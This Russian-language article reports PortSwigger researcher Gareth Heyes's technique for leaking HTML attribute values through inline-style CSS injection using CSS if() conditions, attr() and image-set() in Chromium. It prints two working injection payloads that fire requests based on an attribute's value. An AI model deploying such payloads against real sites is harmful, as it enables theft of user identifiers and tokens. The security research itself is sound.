Исследователь кибербезопасности Гарет Хейес (Gareth Heyes) из Portswigger обнаружил принципиально новую технику утечки данных, использующую каскадные таблицы стилей (CSS) для извлечения информации из атрибутов HTML элементов без необходимости импорта внешних стилей. Это открытие кардинально меняет представление о возможностях эксплуатации CSS-инъекций через атрибуты style.
Изначально Хейез скептически отнесся к идее возможности утечки данных исключительно через inline-стили, однако вдохновленный техникой исследователя Slonser, который использовал комбинацию функций attr() и image-set() для извлечения данных с обязательным импортом внешней таблицы стилей, он начал поиск альтернативного подхода.
Ключевым открытием стало использование CSS-условий (if statements), которые, несмотря на то что CSS не является языком программирования в традиционном понимании, теперь поддерживают условные конструкции. Это позволило проверять значения атрибутов и инициировать фоновые HTTP-запросы на контролируемые злоумышленником домены без импорта стилей.
Первый разработанный вектор оказался нерабочим из-за нюанса синтаксиса: в отличие от JavaScript, где одинарные и двойные кавычки взаимозаменяемы, CSS-условия требуют строго двойных кавычек для сравнения значений. После корректировки техника заработала, демонстрируя возможность выполнения условных запросов.
Настоящий прорыв заключается в поддержке вложенных условий, позволяющих последовательно проверять множественные значения атрибута. Это делает метод эффективным для кражи коротких, но критически важных данных, таких как идентификаторы пользователей, логины или токены. Пример эксплуатации демонстрирует извлечение значения data-uid, проверяя поочередно значения от 1 до 10 через цепочку вложенных условий, каждое из которых HTTP-запрос на сервер злоумышленника в случае совпадения.
Для практического применения исследования в Portswigger разработали специализированное Custom Action для Burp Suite, автоматизирующее подбор значений и генерацию вредоносного HTML-кода. В демонстрационном примере показано, как атрибут data-username со значением "james" инициирует запрос на соответствующий URL, подтверждая утечку.
1 | <div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://portswigger.net/martin); else: if(style(--val:"zak"): url(https://portswigger.net/zak); else: url(https://portswigger.net/james))); background: image-set(var(--steal));' data-username="james"></div> |
Важное уточнение от Люка Янке упрощает технику: оказалось, что для фонового запроса не обязателен синтаксис url(), достаточно простой строки. Это сокращает итоговый вектор и повышает его практическую применимость.
1 | <div style='--val:attr(title);--steal:if(style(--val:"1"): "/1"; else: "/2");background:image-set(var(--steal))' title=1>test</div> |
На данный момент техника работает исключительно в браузерах на базе Chromium, что подчеркивает важность учитывать особенности реализации стандартов в разных движках. Открытие Хейеза в очередной раз демонстрирует, что даже такие, казалось бы, безобидные технологии, как CSS, могут быть превращены в инструмент атаки при должном уровне креативности исследователя. Это требует от разработчиков повышенного внимания к санизации пользовательского ввода и валидации всех данных, включая атрибуты стилей.
